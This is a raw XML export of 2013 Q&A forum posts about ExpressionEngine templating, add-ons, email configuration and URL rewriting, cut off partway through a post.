  <row Id="9985" PostTypeId="1" CreationDate="2013-05-02T13:24:37.310" Score="2" ViewCount="233" Body="&lt;p&gt;Currently we are using Postmaster to send all automated email, we are very happy to see such module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately we got some issues with it;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;All email that has been sending with the ExpressionEngine service got equal signs in the mail. We already check the NewLine and the CRLF, but all options are failing. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mandrill gives us some error: &quot;Mandrill Service - Error: SSL certificate problem, verify that the CA cert is OK. Details: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PHP version : 5.3.13 and running Wamp. &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2014-12-17T21:21:39.563" Title="Postmaster email issues" Tags="|email|postmaster|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9986" PostTypeId="1" CreationDate="2013-05-02T14:24:29.690" Score="0" ViewCount="167" Body="&lt;p&gt;My client uses Store for an online shop. Once the products are ordered online and paid for she wants an email to be sent to the distributor who is taking care of order picking, packaging and shipping. That mail should than contain the necessary order and shipping info. But should not be sent to the customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that be possible within Store?&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-05-05T11:13:12.270" Title="Mail template send to distributor" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9988" PostTypeId="2" ParentId="9981" CreationDate="2013-05-02T14:35:11.073" Score="1" Body="&lt;p&gt;For the name you could try a conditional with &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#entry-site-id&quot; rel=&quot;nofollow&quot;&gt;entry_site_id&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Published: {entry_date format=&quot;%j %M %Y&quot;} in {if entry_site_id == 1}Site name 1{/if}{if entry_site_id == 2}Site name 2{/if}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-05-02T14:35:11.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9989" PostTypeId="2" ParentId="9984" CreationDate="2013-05-02T14:38:09.297" Score="2" Body="&lt;p&gt;You can do this in two ways, both require that you turn &lt;em&gt;off&lt;/em&gt; early parsing for the form variables, and assuming you're using regular Textarea LVs. Once turned off, use the &lt;strong&gt;tag syntax&lt;/strong&gt; instead of the variable syntax, thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;form-{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variables should now turn up in the LV Fieldtype as well, so you can use the fieldtype in combination with the tag syntax as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;{my_low_variables_custom_field_name}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-02T14:38:09.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9990" PostTypeId="1" CreationDate="2013-05-02T14:51:39.317" Score="1" ViewCount="207" Body="&lt;p&gt;I'm trying to get Matrix to work inside my Zoo Visitor Registration form... I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form return=&quot;{current_url}&quot;}&#xA;&#xA;    {embed=&quot;_functions/_course-list-matrix&quot;}&#xA;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then inside the embed I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;course&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;label&amp;gt;{title}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;        {!-- Matrix Fields --}&#xA;&#xA;        {!-- Create New Row --}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[row_order][]&quot; value=&quot;row_new_0&quot;&amp;gt;&#xA;&#xA;        {!-- Course ID / Name --}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[row_new_0][col_id_20]&quot; value=&quot;[{entry_id}] [{url_title}] {title}&quot;&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The registration form submits perfectly. But the Matrix field is just blank. I've double checked the field name and also the col ID numerous times and it's not doing anything...&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-06-07T14:34:42.417" Title="Matrix &amp; Zoo Visitor" Tags="|matrix|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9992" PostTypeId="2" ParentId="9974" CreationDate="2013-05-02T14:59:24.773" Score="1" Body="&lt;p&gt;Okay - it turned out to be the .htaccess after all. Replaced previous rewrite that another developer had with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;# RewriteCond %{QUERY_STRING} !URL&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the CP link now links correctly out to the main site. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-02T14:59:24.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9993" PostTypeId="1" CreationDate="2013-05-02T15:01:46.987" Score="1" ViewCount="35" Body="&lt;p&gt;I am trying to batch import a list of emails and I get the error:&#xA;The following emails could not be imported:&#xA;then a long list of all my emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What stops EE from importing these emails?  They all appear to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange thing is emails can be batch entered individually but not as a batch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Emails that failed to import in a batch can be imported individually&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there were some hidden tabs or something. Finally got it to work&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-05-02T15:21:55.267" LastActivityDate="2013-06-02T18:32:36.537" Title="Why can I not import a list of emails into a mailing list? SOLVED" Tags="|mailinglist|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9994" PostTypeId="1" AcceptedAnswerId="10912" CreationDate="2013-05-02T15:08:25.663" Score="1" ViewCount="788" Body="&lt;p&gt;Is there a way to access an embedded template variable with PHP? I thought maybe it'd be in the $_GET or $_POST var, but no such luck.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-06-01T18:39:45.420" Title="Is there a way to access an embedded template variable with PHP?" Tags="|ee2|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9995" PostTypeId="1" CreationDate="2013-05-02T15:10:08.767" Score="1" ViewCount="142" Body="&lt;p&gt;I am generating a url in a switchee statement, I want to be able to save that url for use in multiple places in a loop. This should be simple but nothing ever seems to be as easy as it should be in EE templates. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot; limit=&quot;10&quot; }&#xA;  {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&#xA;        {exp:switchee variable = &quot;{channel_short_name}&quot; }&#xA;            {case value=&quot;bikes&quot;}&#xA;               {exp:stash:set name=&quot;url&quot;} {embed=&quot;bikes/_bike_url&quot; url_title=&quot;{url_title}&quot; entry_id=&quot;{entry_id}&quot;}{/exp:stash:set}&#xA;            {/case}&#xA;&#xA;            {case default=&quot;Yes&quot;}&#xA;                {exp:stash:set name=&quot;url&quot;}{exp:transcribe:uri path='{comment_url_title_auto_path}'}{/exp:stash:set}&#xA;            {/case}&#xA;        {/exp:switchee}&#xA;        &amp;lt;span class=&quot;image&quot;&amp;gt;&#xA;            {embed=&quot;embeds/image&quot; entry_id=&quot;{entry_id}&quot; width=&quot;200&quot;}&#xA;        &amp;lt;/span&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;{exp:stash:get name=&quot;url&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;  {if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cory&lt;/p&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2013-06-05T04:32:58.000" Title="Save var in loop" Tags="|stash|low-search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9996" PostTypeId="1" CreationDate="2013-05-02T15:20:34.060" Score="1" ViewCount="696" Body="&lt;p&gt;I am not being able to send e-mails through EE (I am using version 2.1.3 Build 20101220).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want my application to relay to an external SMTP server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am editing both these files:&#xA;\expressionengine\libraries\EE_Email.php&#xA;\codeigniter\system\libraries\Email.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other file to look at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&lt;/p&gt;&#xA;" OwnerUserId="1423" LastActivityDate="2013-05-02T16:23:53.337" Title="Unable to send e-mails using SMTP" Tags="|smtp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9997" PostTypeId="2" ParentId="9961" CreationDate="2013-05-02T15:21:22.680" Score="2" Body="&lt;p&gt;Use snippets instead of global variables so that you can use them in the parameter of the channel entries tag, as the snippet will get parsed early. It seems like a good strategy to do this like you said, preparing snippets like &quot;abc1|abc2|abc3&quot; for all the different channel groupings you'll need and then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;{snippet_abc}&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-05-02T15:21:22.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9998" PostTypeId="1" AcceptedAnswerId="10050" CreationDate="2013-05-02T15:21:35.487" Score="0" ViewCount="231" Body="&lt;p&gt;My organization has a site built on ASP.NET. It uses ASP.NET to manage the users (students, class coordinators, and finances). However there is a small 'content' component of the site: about the class, about the organization, and some other content that will need to change and grow over time. However that part of the site is currently managed by Kintera which is $$. We want to get everything out of Kintera and into a CMS. ExpressionEngine is one being considered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses some iFrame's to pull content from the ASP.NET site into the Kintera managed content. This will likely be needed in an ExpressionEngine managed site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These iFrames use content that is dynamically created from the ASP.NET site. The user's session will then need to be shared between ExpressionEngine and ASP.NET. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not involved in the ASP.NET site so can't say too much more than this. I will see if the developer of that site can provide any additional information or respond to your comments/answers. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-05-04T09:53:37.230" Title="Sharing session with ASP.NET site" Tags="|sessions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9999" PostTypeId="2" ParentId="9994" CreationDate="2013-05-02T15:46:32.997" Score="0" Body="&lt;p&gt;Can you give more description on what you are trying to accomplish?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My immediate guess from what you have told us would be to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; and create a global variable then parse your php after EE to allow the variable you need to be available for php parsing.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-05-02T15:46:32.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10000" PostTypeId="2" ParentId="9995" CreationDate="2013-05-02T16:09:06.557" Score="0" Body="&lt;p&gt;Try adding process=&quot;end&quot; to your exp:stash:get call, it's likely getting called prior to the switchee tag, rendering blank because it technically hasn't been set yet.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-02T16:09:06.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10001" PostTypeId="2" ParentId="9996" CreationDate="2013-05-02T16:23:53.337" Score="4" Body="&lt;p&gt;Why are you hacking core files? Why not just set the mail preferences to use SMTP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Admin-&gt;Email Configuration, select SMTP for your email protocol and enter any necessary authentication info in the fields provided.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-02T16:23:53.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10002" PostTypeId="1" CreationDate="2013-05-02T16:34:07.387" Score="1" ViewCount="117" Body="&lt;p&gt;I had developed an extension (hooked with zoo_visitor_register_end) using Channel Entry API which creates a new channel entry by setting the title of this entry with a custom field value of Zoo Visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But faced a sudden strange problem. Now its updating the new channel entry's title with member's email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything was working great since more than 5 months. The problem came after updating EE 2.5.5 (2 weeks ago). Site is MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hitting my head since yesterday but couldn't find any pointer. I 'll highly appreciate your help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt; Edited &lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;&#xA;Below is the code I am using to create new entry via channel entry API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$data = array(&#xA;        'title'         =&amp;gt; $member_data['CUSTOM_FIELD'],&#xA;        'entry_date'    =&amp;gt; $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now,&#xA;        'author_id'     =&amp;gt; $member_id,&#xA;        'status'    =&amp;gt; 'new',&#xA;        'site_id'   =&amp;gt; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id'),&#xA;        'channel_id'    =&amp;gt; 14&#xA;);&#xA;&#xA;if ($this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry(14, $data) === FALSE)&#xA;{&#xA;    $errors = $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;errors ;&#xA;}&#xA;else&#xA;{&#xA;    $entry_id = $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;entry_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1424" LastEditorUserId="1424" LastEditDate="2013-05-02T18:17:52.203" LastActivityDate="2013-06-01T18:32:13.117" Title="Channel entry title updated with member email" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10003" PostTypeId="2" ParentId="9985" CreationDate="2013-05-02T17:49:01.340" Score="1" Body="&lt;p&gt;Please send bug reports to support@objectivehtml.com. I will be able to help you a lot better there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StackExchange is best left for usage questions, not technical support issues (bugs) as I need to ask a series of questions before I can give an answer. I have not experience any of these issues first hand though, but I am sure there is a simple solution.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-02T17:49:01.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10004" PostTypeId="2" ParentId="10002" CreationDate="2013-05-02T17:54:51.223" Score="1" Body="&lt;p&gt;Be sure to pass the 'entry_id' index in the data array. It seems redundant, but I have ran into the same issue. Report back and let me know if this fixes your issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['entry_id'] = $entry_id;&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;update_entry($entry_id, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It's important note, this is deprecated as of 2.6&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#update-entry&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#update-entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-02T17:54:51.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10005" PostTypeId="1" AcceptedAnswerId="10007" CreationDate="2013-05-02T18:09:22.523" Score="1" ViewCount="126" Body="&lt;p&gt;I'm displaying a list of categories, and I want to add a little &quot;new&quot; icon next to the category name if one or more entries in that category have been created in the last day. But I can't figure out how to display code just once if multiple entries return true. I got this far using &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWCode Categories&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories&#xA;    cat_id='4'&#xA;    depth='2'&#xA;    show_empty='no'&#xA;    style='linear'&#xA;    variable_prefix='gw:'&#xA;    parse='inward'&#xA;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='topics/{gw:cat_url_title}'}&quot;&amp;gt;&#xA;            {gw:cat_name}&#xA;            &amp;lt;span aria-hidden=&quot;true&quot; data-icon=&quot;&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            {!-- If an entry in this category has been added in the last day, add the &quot;new&quot; icon --}&#xA;            {exp:channel:entries&#xA;                channel='{sp_channels}'&#xA;                dynamic='no'&#xA;                category='{gw:cat_id}'&#xA;                disable='categories|pagination|member_data|custom_fields'&#xA;            }&#xA;                {exp:mx_calc expression=&quot;{current_time} - 86400&quot;}&#xA;                    {if {entry_date} &amp;gt; {calc_result}}&#xA;                         &amp;lt;b class=&quot;new&quot;&amp;gt;New&amp;lt;/b&amp;gt;&#xA;                    {/if}&#xA;                {/exp:mx_calc}&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that outputs the &quot;new&quot; tag once for &lt;em&gt;every entry&lt;/em&gt; that passes the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the code to output &lt;em&gt;just once&lt;/em&gt; if any entries return true?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-02T18:30:36.563" Title="Output Code Once if Conditional is True for One or More Entries in a Group" Tags="|categories|conditionals|gwcode-categories|mx-calculator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10006" PostTypeId="2" ParentId="6870" CreationDate="2013-05-02T18:09:49.687" Score="1" Body="&lt;p&gt;Is EE in the same DB or an external one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are both mySQL you could simply write a trigger on UPDATE or INSERT into their database that will then update or insert into the EE database.  You can skip all the API stuff and let the DB handle it.&lt;/p&gt;&#xA;" OwnerUserId="683" LastActivityDate="2013-05-02T18:09:49.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10007" PostTypeId="2" ParentId="10005" CreationDate="2013-05-02T18:28:03.043" Score="2" Body="&lt;p&gt;If you just add a limit=&quot;1&quot; parameter to the channel entries tag it will pull the most recent entry anyway - if you think about it, you only really need to see if that single entry was added in the last day, not the whole lot.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-02T18:28:03.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10009" PostTypeId="2" ParentId="9998" CreationDate="2013-05-02T18:31:11.573" Score="1" Body="&lt;p&gt;Take a look at this -- the answer provides a few solutions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2544389/how-to-share-sessions-between-php-and-asp-net-application&quot;&gt;https://stackoverflow.com/questions/2544389/how-to-share-sessions-between-php-and-asp-net-application&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="683" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-05-02T18:31:11.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10010" PostTypeId="2" ParentId="9967" CreationDate="2013-05-02T18:42:28.693" Score="1" Body="&lt;p&gt;Which hosting provider do you use? What version of IIS/Windows do they use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to add a web.config file to your root&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;configuration&amp;gt;&#xA;&amp;lt;system.web&amp;gt;&#xA;    &amp;lt;customErrors mode=&quot;Off&quot; /&amp;gt;&#xA;    &amp;lt;compilation debug=&quot;true&quot; /&amp;gt;&#xA;&amp;lt;/system.web&amp;gt;&#xA;&amp;lt;system.webServer&amp;gt;&#xA;    &amp;lt;rewrite&amp;gt;&#xA;        &amp;lt;rules&amp;gt;&#xA;            &amp;lt;rule name=&quot;Imported Rule 1&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^(.*)$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;conditions logicalGrouping=&quot;MatchAll&quot;&amp;gt;&#xA;                    &amp;lt;add input=&quot;{R:1}&quot; pattern=&quot;\.(gif|jpe?g|png)$&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                    &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                    &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                &amp;lt;/conditions&amp;gt;&#xA;                &amp;lt;action type=&quot;Rewrite&quot; url=&quot;/index.php/{R:1}&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;        &amp;lt;/rules&amp;gt;&#xA;    &amp;lt;/rewrite&amp;gt;&#xA;&amp;lt;security&amp;gt;&#xA;        &amp;lt;requestFiltering allowDoubleEscaping=&quot;true&quot; /&amp;gt;&#xA; &amp;lt;/security&amp;gt;&#xA;&amp;lt;/system.webServer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="683" LastActivityDate="2013-05-02T18:42:28.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10011" PostTypeId="1" AcceptedAnswerId="10026" CreationDate="2013-05-02T20:19:27.660" Score="1" ViewCount="763" Body="&lt;p&gt;I just moved a site from my dev hosting to my client's hosting. &#xA;Every path has been updated correctly. However, all files on Assets or the File manager are not showing on the front end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click &quot;update indexes&quot; on Assets, I get this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some entries in the database that are out of date - please select the ones that you want to delete below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I can't upload new files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Santiago&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2013-05-03T11:14:09.593" Title="File Manager / Assets problem" Tags="|assets|file-uploads|file-manager|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10012" PostTypeId="2" ParentId="10011" CreationDate="2013-05-02T20:32:54.913" Score="0" Body="&lt;p&gt;Does the folder have the right permissions 777?&lt;/p&gt;&#xA;" OwnerUserId="683" LastActivityDate="2013-05-02T20:32:54.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10013" PostTypeId="1" AcceptedAnswerId="10015" CreationDate="2013-05-02T20:35:46.330" Score="2" ViewCount="94" Body="&lt;p&gt;I have a site that has a lot of legacy images taken from the site they were on previously, these are stored in a field called legacy-images as a text input. This is basically the folder path from the domain root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I need to harness the power of the file resizing options EE has built in and to do this I need to have all these images setup as a file field. Manually moving them isn't an option as there is around 1500 entries. Any idea how I can achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1428" LastActivityDate="2013-05-02T21:09:54.520" Title="Porting a text input field to file field in Expression Engine" Tags="|file-uploads|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10014" PostTypeId="2" ParentId="10013" CreationDate="2013-05-02T21:09:04.607" Score="0" Body="&lt;p&gt;What I would look into doing is setting the directory where the images currently reside as an upload directory. Synchronize the directory so that EE knows where everything is located. At this point you'll need to take note of the file uploads id number and create a database query that will convert the field you need and set everything correctly.  Be sure to back up the database before running the query just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My SQL is very weak so am unable to write this out for you strait off here, but I'm sure that google or some other person in the community will help you write the query you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also try setting up the file upload location as I mentioned and then converting the field in question to a file field and see what happens. Be sure to backup the database before doing this just in case it doesn't work. - this second option is probably not the best approach.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-02T21:09:04.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10015" PostTypeId="2" ParentId="10013" CreationDate="2013-05-02T21:09:54.520" Score="0" Body="&lt;p&gt;You could try using the EE search and replace tool (Tools &gt; Data &gt; Search and Replace). Just replace the path with {filedir_X}, where X is the ID of the upload destination that you've setup in the CP.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-05-02T21:09:54.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10016" PostTypeId="2" ParentId="9961" CreationDate="2013-05-02T21:25:14.853" Score="0" Body="&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;channels&quot; parse_tags=&quot;yes&quot; type=&quot;snippet&quot;}{exp:query sql=&quot;SELECT channel_name FROM exp_channels WHERE channel_name LIKE '%whatever%'&quot; backspace=&quot;1&quot;}{channel_name}|{/exp:query}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now use channel=&quot;{channels}&quot; as a parameter of a channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've deliberately put it all on one line to avoid potential issues with whitespace but you might find that it also works ok with whitespace using Stash's trim=&quot;yes&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-02T21:25:14.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10017" PostTypeId="1" AcceptedAnswerId="10021" CreationDate="2013-05-02T21:42:46.063" Score="0" ViewCount="281" Body="&lt;p&gt;I was wondering if someone can tell me how to approach this. I have some code that runs through all available entries within a channel and determine if its a match to the pre-determined variable. I can output the matches fine but I want to display a standard form if there is no match. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code so far&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;dynamic_activity&quot; dynamic=&quot;no&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;&#xA;    {exp:switchee variable = &quot;{related_activity_id}/{related_adventure_id}&quot; parse=&quot;inward&quot;} &#xA;        {case value=&quot;{embed:related_activity_id}/{embed:related_adventure_id}&quot;}&#xA;            {exp:safecracker &#xA;                channel=&quot;dynamic_activity&quot; &#xA;                return=&quot;/admin/story/&quot;&#xA;                use_live_url=&quot;no&quot;&#xA;                error_handling=“inline” &#xA;                preserve_checkboxes=“yes” &#xA;                include_jquery=&quot;no&quot; &#xA;                author_id=&quot;CURRENT_USER&quot;&#xA;                entry_id=&quot;{entry_id}&quot;&#xA;            }&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;related_adventure_id&quot; id=&quot;related_adventure_id&quot; 